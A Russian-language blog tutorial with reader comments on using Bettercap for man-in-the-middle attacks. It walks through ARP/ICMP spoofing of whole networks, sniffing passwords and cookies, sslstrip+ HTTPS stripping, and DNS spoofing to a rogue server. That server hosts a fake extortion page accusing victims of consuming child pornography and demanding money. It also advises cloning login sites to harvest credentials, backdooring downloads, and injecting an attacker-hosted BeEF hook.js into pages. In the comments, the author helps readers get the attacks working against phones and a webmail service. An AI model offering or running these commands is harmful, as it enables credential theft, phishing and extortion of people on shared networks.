Инструкция по использованию Bettercap

Bettercap – это ещё одна реализация желания улучшить Ettercap (наравне с MITMf). Скажем сразу – программе Bettercap это удалось. В программе Bettercap вы можете сделать практически всё, что умеет Ettercap. При этом нам не понадобятся дополнительные программы и множество открытых консолей.

Установка Bettercap

Об установке Bettercap вы можете посмотреть в соответствующем разделе страницы программы в Энциклопедии инструментов для тестирования на проникновение. Не будем переписывать сюда эти команды – там ничего сложного.

Разве что, давайте дополнительно загрузим модули Bettercap:

git clone https://github.com/evilsocket/bettercap-proxy-modules.git

Они не являются обязательными для работы, но они вполне могут пригодиться.

Описание самих модулей будет чуть ниже.

Запуск Bettercap

Bettercap сама способна определить имя сетевого интерфейса, используемого по умолчанию (это можно изменить опцией), трудно представить себе атаку человек-посередине без спуфинга, поэтому спуфинг включается автоматически (в опциях можно поменять тип спуфинга), нужно вручную включить сниффинг (опция -X), но зато сразу все парсеры также включаются автоматически. Автоматически же все обнаруженные устройства в сети добавляются в качестве жертв, в том числе на лету, во время работы программы (опять же, можно изменить в настройках). Итак, наша команда получается весьма лаконичной:

sudo bettercap -X

Сразу пошёл сбор данных (обратите внимание на перехваченную базовую аутентификацию):

01

Нам не нужна сторонняя программа для анализа трафика, поскольку встроенный сниффер в настоящее время в состоянии анализировать и печатать следующую информацию:

  • посещённые URL.
  • посещённые хосты HTTPS.
  • отправленные методом HTTP POST данные.
  • аутентификации HTTP Basic и Digest.
  • HTTP кукиз.
  • учётные данные FTP.
  • учётные данные IRC.
  • учётные данные POP, IMAP и SMTP.
  • учётные данные NTLMv1/v2 ( HTTP, SMB, LDAP и т.п. ).
  • учётные данные протокола DICT.
  • учётные данные MPD.
  • учётные данные NNTP.
  • сообщения и учётные данные DHCP.
  • учётные данные входа REDIS.
  • учётные данные RLOGIN.
  • учётные данные SNPP.
  • И другое!

Здесь перехвачен логин и пароль, отправленные методом POST:

02

Частичный обход HSTS с Bettercap

Bettercap имеет в своём составе программу sslstrip+ (или sslstrip2). Для её активации нужно включить HTTP прокси и перенаправлять все HTTP запросы на него. Это делается опцией --proxy. Т.е. сама команда теперь выглядит так:

sudo bettercap -X --proxy

03

Не все сайты удаётся очистить от HTTPS. Можно включить HTTPS прокси и перенаправлять все HTTPS запросы на него (опция --proxy-https), но современные браузеры будут показывать страшное предупреждение, что соединение не зашифровано.

04

Опции Bettercap

Как уже было сказано, Bettercap самостоятельно находит все устройства и добавляет их в цели. Можно ограничить атаку только определёнными IP адресами:

sudo bettercap -T 192.168.1.10,192.168.1.11

Атаковать указанную цель по MAC адресу:

sudo bettercap -T 01:23:45:67:89:10

Атаковать диапазон IP адресов:

sudo bettercap -T 192.168.1.1-30

Атаковать определённую подсеть:

sudo bettercap -T 192.168.1.1/24

Выбрать случайный MAC адрес для своего интерфейса во время атаки:

sudo bettercap --random-mac

Ещё несколько ходовых опций

-I, --interface IFACE

BetterCAP автоматически определяет интерфейс сети по умолчанию и использует его, если вы хотите, чтобы программа использовала другой интерфейс (когда у вас их больше чем один, допустим eth0 и wlan0), то вы можете указать эту опцию.

--use-mac ADDRESS

Изменить MAC адрес интерфейса на это значение перед выполнением атаки.

-G, --gateway АДРЕС

Bettercap самостоятельно определяет шлюз, вы можете вручную указать его с этой опцией.

--ignore ADDRESS1,ADDRESS2

Игнорировать эти IP адреса, если они были найдены во время поисках целей.

--no-discovery

Не проводить активный поиск целей, просто использовать текущий ARP кэш.

Ведение журнала и сохранение данных

Для сохранения данных в файл out.log:

sudo bettercap --log out.log

Сохранить журнал вывода в файл out.log и подавление вывода в терминал:

sudo bettercap --log out.log --silent

Сохранить вывод в файл out-ts.log и включить временные метки для каждой строки:

sudo bettercap --log-timestamp --log out-ts.log

Опции спуфинга

В BetterCap уже включены ARP спуфер (работающий в режиме полного дуплекса и полудуплекса), DNS спуфер и первый в мире, полностью рабочий и полностью автоматизированный ICMP DoubleDirect спуфер.

Использование старого доброго ARP спуфинга:

sudo bettercap
# или
sudo bettercap -S ARP
# или
sudo bettercap --spoofer ARP

Использовать атаку спуфинга редиректа полного дуплекса ICMP:

sudo bettercap -S ICMP
# или
sudo bettercap --spoofer ICMP

Отключить спуфинг:

sudo bettercap -S NONE
# или
sudo bettercap --spoofer NONE
# или
sudo bettercap --no-spoofing

Вместо перенаправления пакетов, опция --kill приводит к тому, что все подключения для цели (-T 192.168.1.2) будут прерваны:

sudo bettercap -T 192.168.1.2 --kill

Примеры и опции сниффинга

Использовать bettercap как простой сниффер локальной сети:

sudo bettercap --local
# или
sudo bettercap -L

Использовать файл capture.pcap в вашей домашней директории как источник пакетов:

sudo bettercap --sniffer-source ~/capture.pcap

Спуфить всю сеть и сохранять каждый пакет в файле capture.pcap в вашей домашней директории:

sudo bettercap --sniffer-output ~/capture.pcap

Спуфить весь сетевой трафик, но сниффить только HTTP трафик:

sudo bettercap --sniffer-filter "tcp port http"

Спуфить всю сеть и извлечь данные из пакетов, содержащих слово “password”:

sudo bettercap --custom-parser ".*password.*"

Опции

-X, --sniffer

Включить сниффер.

-L, --local

По умолчанию bettercap парсит только пакеты с/на других адресов в сети, если вы хотите также обрабатывать пакеты отправляемые или получаемые с вашего компьютера, вы можете использовать эту опцию (ВНИМАНИЕ: будет включен сниффер).

--sniffer-source ФАЙЛ

Загрузить пакеты из указанного PCAP файла, а не с сетевого интерфейса (ВНИМАНИЕ: будет включен сниффер).

--sniffer-output ФАЙЛ

Сохранить все пакеты в указанный PCAP файл (ВНИМАНИЕ: будет включен сниффер).

--sniffer-filter ВЫРАЖЕНИЕ

Настроить сниффер для использования этого BPF фильтра (ВНИМАНИЕ: будет включен сниффер).

-P, --parsers ПАРСЕРЫ

Разделённый запятой список парсеров, которые нужно включить, используйте * для выбора всех (ВНИМАНИЕ: будет включен сниффер)., доступные: COOKIE, CREDITCARD, DHCP, DICT, FTP, HTTPAUTH, HTTPS, IRC, MAIL, MPD, MYSQL, NNTP, NTLMSS, PGSQL, POST, REDIS, RLOGIN, SNMP, SNPP, URL, WHATSAPP, по умолчанию установлено в *.

--custom-parser ВЫРАЖЕНИЕ

Использовать пользовательское регулярное выражение, чтобы захватывать и показывать перехваченные данные (ВНИМАНИЕ: будет включен сниффер).

DNS спуфинг

Если вы хотите выполнить DNS спуфинг, вы должны указать аргумент командной строки --dns ФАЙЛ, где ФАЙЛ – это имя файла, составленного примерно следующим образом:

# Пустые строки и строки начинающиеся с # игнорируется.

# редирект *.google.com на IP атакующего
local .*google\.com

# редирект *.microsoft.com на 10.10.10.10
10.10.10.10 .*microsoft\.com

Затем остаётся только выполнить:

sudo bettercap --dns dns.conf

Пример использования DNS спуфинга и мошеннического веб-сервера

При попытке доступа к какому-либо сайту, компьютер жертвы запрашивает IP адрес этого сайта у DNS сервера. С помощью DNS спуфинга мы можем направить цель на наш веб-сервер. При этом нам не нужно возиться с настройкой Apache и т.п., поскольку BetterCap имеет встроенный сервер!

Предполагается, что вы уже создали файл dns.conf с тем содержимым, которое приведено выше (можете добавить свои собственные записи). Теперь создадим файл, который будет открываться у жертвы:

mkdir web-fraud
echo "You were caught as a consumer of child porn. To stop public investigation you have to pay 1000 roubles to..." > web-fraud/index.html

Узнаем абсолютный адрес нашей папки для веб-сервера:

readlink -f web-fraud/
/home/mial/web-fraud

Кроме уже знакомых опций, мы используем --httpd (означает запустить веб-сервер), --httpd-path /home/mial/web-fraud (указывает на каталог с файлами веб-сервера) и --httpd-port 80 (определяет порт веб-сервера):

sudo bettercap -X --dns dns.conf --httpd --httpd-path /home/mial/web-fraud --httpd-port 80

Вот результат при попытке открыть google.com:

05

Естественно, чтобы это сработало нужно создавать правдоподобный дизайн, правдоподобную историю. Лучше всего себя покажут копии оригинальных веб-сайтов, в которых нужно вводить учётные данные для входа.

Модули BetterCap

Помните, почти в самом начале раздела мы скачали модули? Пришло время ими воспользоваться.

Это примеры модулей BetterCap для прозрачных прокси. Некоторые из них являются вполне готовыми решениями, некоторые являются образцом для ваших собственных модулей.

HTTP(S) прокси модули

  • http/androidpwn.rb – Выполнит пользовательскую команду на каждом устройстве Android, эксплуатируя уязвимость "addJavascriptInterface".
  • http/osxsparkle.rb – Выполнит пользовательский исполнимый файл Mach-O OSX на каждой OSX машине, эксплуатируя уязвимость Sparkle Updater https://vulnsec.com/2016/osx-apps-vulnerabilities/.
  • http/beefbox.rb – Похоже на inject*, но специализируется на работе с BeEF framework.
  • http/debug.rb - Отладка HTTP запросов и ответов.
  • http/simple_post.rb – Перехватывает и отображает только выбранные POST поля.
  • http/location_hijacking.rb – Перехватывает заголовок Location с пользовательским URL.
  • http/replace_images.rb – Замена всех изображений на пользовательское.
  • http/rickroll.rb – Вставка iframe с (не)знаменитым видео RickRoll в режиме автовоспроизведения.
  • http/hack_title.rb – Добавляет текст "HACKED" в заголовок веб-сайтов.
  • http/replace_file.rb – Заменяет на лету загружаемые файлы на пользовательские.

TCP прокси модули

  • tcp/debug.rb – Просто скидывает в двоичном формате весь TCP трафик, проходящий через прокси.
  • tcp/sshdowngrade.rb – Если возможно, выполняет атаку понижения SSH 2.x -> 1.x.
  • tcp/mssqlauth.rb - Понижает MSSQL шифрование и захватывает учётные данные входа.

Допустим, мы хотим использовать модоуль hack_title.rb, тогда к команде нам нужно добавить опции --proxy --proxy-module=путь_до_файла_модуля. У меня этот модуль размещён в файле /home/mial/bin/bettercap-proxy-modules/http/hack_title.rb, поэтому команда у меня выглядит:

sudo bettercap -X --proxy --proxy-module=/home/mial/bin/bettercap-proxy-modules/http/hack_title.rb

Как видим, сработало:

06

Делаем все изображения перевёрнутыми:

sudo bettercap -X --proxy --proxy-module=/home/mial/bin/bettercap-proxy-modules/http/flip_image.rb

Тоже сработало:

07

Можно заменить все изображения на веб-сайтах на своё. Для этого его нужно разместить в каталоге веб-сервера BetterCap с именем hack.png. К примеру, подготовим наше изображение (на фотке автор BetterCap – Simone Margaritelli – передаёт привет из Аютаи):

wget https://hackware.ru/wp-content/uploads/2016/06/thailand.jpg -O web-fraud/hack.png

Запускаем:

sudo bettercap -X --httpd --httpd-path /home/mial/web-fraud --httpd-port 80 --proxy --proxy-module=/home/mial/bin/bettercap-proxy-modules/http/replace_images.rb

Для заражения бэкдорами обратите внимание на replace_file.rb, либо можно воспользоваться одним из плагинов по вставке разнообразного кода в HTML страницы.

Подцепление на BeEF

Это можно сделать двумя способами, во-первых, используя модуль beefbox.rb:

sudo bettercap -X --proxy --proxy-module=/home/mial/bin/bettercap-proxy-modules/http/beefbox.rb

Когда появится соответствующий запрос, введите директорию, куда установлен BeEF (в ней должен находиться исполнимый фай beef и файл с настройками config.yaml):

/usr/share/beef

Теперь можно перейти в панель управления BeEF и начать работу с подцепленными браузерами http://localhost:3000/ui/panel:

08

Второй способ будет описан ниже

Встроенные модули injectcss, injecthtml, injectjs

Кроме модулей, которые можно загружать/писать отдельно, в BetterCap имеются три встроенных модуля: injectcss, injecthtml, injectjs. Они, соответственно, вставляют в HTML страницы код CSS, HTML и JavaScript. Думаю, достаточно показать один пример по зацеплению на BeEF и рассказать об их опциях – в принципе, их использование не должно вызвать трудностей.

Запускаем BeEF

sudo beef

В другой консоли запускаем BetterCap (естественно, данные замените на свои):

sudo bettercap --proxy-module injectjs --js-url "http://192.168.1.3:3000/hook.js"

У модуля injectjs следующие опции:

--js-data СТРОКА

код Javascript для вставки.

--js-file ПУТЬ

Путь до файла JavaScript для вставки.

-js-url URL

URL файла JavaScript для вставки.

У модуля injecthtml:

--html-data СТРОКА

HTML код для вставки.

--html-iframe-url URL

URL iframe для вставки, если указана эта опция, то будет вставлен тэг "iframe".

У модуля injectcss:

--css-data СТРОКА

CSS код для вставки.

--css-file ПУТЬ

Путь до CSS файла для вставки.

--css-url URL

URL файла CSS для вставки.

Рекомендуемые статьи:

20 комментариев to Инструкция по использованию Bettercap

  1. Elvin:

    Есть вопрос: когда я использую эту программу и пытаюсь отключить HTTPS , гуглхром  не может открыть страницу , потому что не может найти dns сервера , он ругается на "wwwww" , появившейся в адресной строке ,что делать? просто из-за этого вся атака проваливается.

    И еще одно:не получается избавиться от шифрования и в мобилных браузерах , типа Safari  , там шифррование ни за что не пропадает.

    помогите с вышеуказанными вопросами, пожалуйста!

    • Alexey Alexey:

      По описанию выглядит так, будто по какой-то причине жертва продолжает использовать другой (настоящий) DNS сервер. Такое может быть, например, если в настройках Интернет-подключения на компьютере жертвы прописан DNS. Также DNS может быть прописан в роутере (для Интернет-подключения и локальной сети).

      • Elvin:

        Окей, а что делать с Сафари и Гугл хромом для IOS ? Они не реагируют на sslstrip+

        • Alexey Alexey:

          Elvin, а данные, которые отправляются мобильными браузерами по протоколу HTTP (т.е. без шифрования), сниффер показывает? Адреса сайтов, например. Т.е. есть ли свидетельства, что для мобильного устройства вообще работает атака человек-посередине?

          • Elvin:

            Да, аттака проводится , и это я вижу по другому браузеру (uc browser) , там sslstrip справляется,

            но вот инстаграмм , приложение ВК для IOS просто не загружают страницу , инстаграмм пишет "Не удалось обновить ленту "

            Вот еще один вопрос : когда я пытаюсь сделать днс спуффинг ,можно   файл dns.conf написать в Leafpad?Ну и соответсвенно сохранить его под названием dns.conf 

            И последний:  после этой команды

            readlink -f web-fraud/ -эта команда срабатывает и пишет это     /root/web-fraud

            /home/mial/web-fraud  // а после этой

            пишется вот это " /home/mial/web-fraud: Нет такого файла или каталога "

            что делать?

             

            • Alexey Alexey:

              Я наконец нашёл время протестировать с мобильником – да действительно, у меня тоже не работает (я пробовал только в одном браузере). SSLStrip+ уже больше трёх лет никто не развивает, вполне возможно, что появились невосприимчивые браузеры. На настольных компьютерах, например, SSLStrip (оригинальная версия) перестала «брать» FireFox. К сожалению, нам ничего не остаётся как ждать, когда ресёчеры (исследователи) безопасности опять найдут что-нибудь такое и поделятся с нами…

              Файл dns.conf можно создавать любым текстовым редактором. Название, думаю, можно выбрать любое. Главное, после опции --dns укажите правильное имя. Я использую относительный путь, т.к. запускаю bettercap из той же рабочей папки где и сохранил файл. Если вы создадите файл, например, в каталоге /root/for_bettercap/dns.conf, а при запуске программы сами находитесь в каталоге, например, /root/, то программа напишет ошибку, что файл не найден. В этом случае после опции --dns нужно просто указать полный путь до файла, например --dns /root/for_bettercap/dns.conf

              Узнать, в каком каталоге вы сейчас находитесь (текущую рабочую директорию) можно командой:

              pwd

              Чтобы посмотреть, какие в ней файлы:

              ls -l

              Чтобы перейти в другой каталог:

              cd путь_до_каталога

              Ну или как я – запускать bettercap из той же директории, где и файл.

              По поводу последней проблемы. Мы именно для того и запускаем readlink -f web-fraud/, чтобы узнать абсолютный путь до директории. У меня он свой, у вас свой. То, что выдаёт программа, нужно подставить вместо моего /home/mial/web-fraud

              Т.е. у вас команда должна быть примерно такой:

              bettercap -X --dns dns.conf --httpd --httpd-path /root/web-fraud --httpd-port 80

               

  2. Oppai:

    Есть небольшая проблема при использовании --proxy, некоторые сайты и веб-морды почтновых приложений выдают ошибку при попытке залогинться "включите cookie",а при использовании --proxy-https браузер ругается на безопасность и не дает зайти. Есть возможность обойти это? 

    • Alexey Alexey:

      Про страшное сообщения в браузерах (опция --proxy-https) я упоминал в самой статье, поэтому опцию и не рассматривал подробно, фактически, она теперь бесполезна. Это теперь данность - инструментов для обхода нет (по крайней мере в паблике).

      С "включите cookie"  при --proxy я не сталкивался, может кто-нибудь ещё здесь подскажет. Или же можете на гитхабе для автора открыть тикет ( https://github.com/evilsocket/bettercap ). Он активно развивает программу, если это баг программы, уверен, он поправит.

      • Oppai:

        Спасибо за информацию! Просто смысл разбора https траффика вообще теряется при таких проблемах. Попробую отпистаь автору. Получается что особо других возмлжностей стрипа траффика нет сейчас?

        • Alexey Alexey:

          Нет смысла использовать HTTPS прокси, по этой же причине сейчас совсем не интересна SSLsplit.

          А стрип трафика, неплохо работает с sslstrip+ (в заметке есть скриншот после команды sudo bettercap -X --proxy, она как раз и активирует sslstrip+), хотя не всегда - чуть выше был комментарий, что некоторые браузеры и приложения в мобильных устройствах не передают трафик.

          • Oppai:

            Вот в том то и дело что не всегда,есть специфичный почтовый сервис,в частности Zimbra,и работает он по https. Как раз на нем --proxy вызывает ошибку куки. Хотя отдельно sslstrip+ и ettercap давали результат в виде пароля-пользователя,но тогда не работает последующий редирект на страницу почты,зависала страница просто на этом моменте. Вот ищу еще возможности

  3. Максим:

    Не получается работать с модулем replace_file.rb. Может кто-нибудь дать краткое описание?

     

  4. Дмитрий:

    Всем привет..и у меня не все модули работают..)

  5. Sha9:

    Здравствуйте Алексей.

    Немного не в тему.Ваши сайты не корректно отображаются на малых девайсах.Например часто на ваши сайты захожу с нетбука. в начале сайта все нормально,но при прокрутке к низу- деформация. Также на сайте кали тулс на главная страница не растягивается под размер браузера…

    Извините если что не так… и с Новым годом Вас!

    За сайты и статьи - огромное спасибо.Хоть я и не новичек,но с удовольствием читаю ваши статьи

Добавить комментарий

Ваш e-mail не будет опубликован.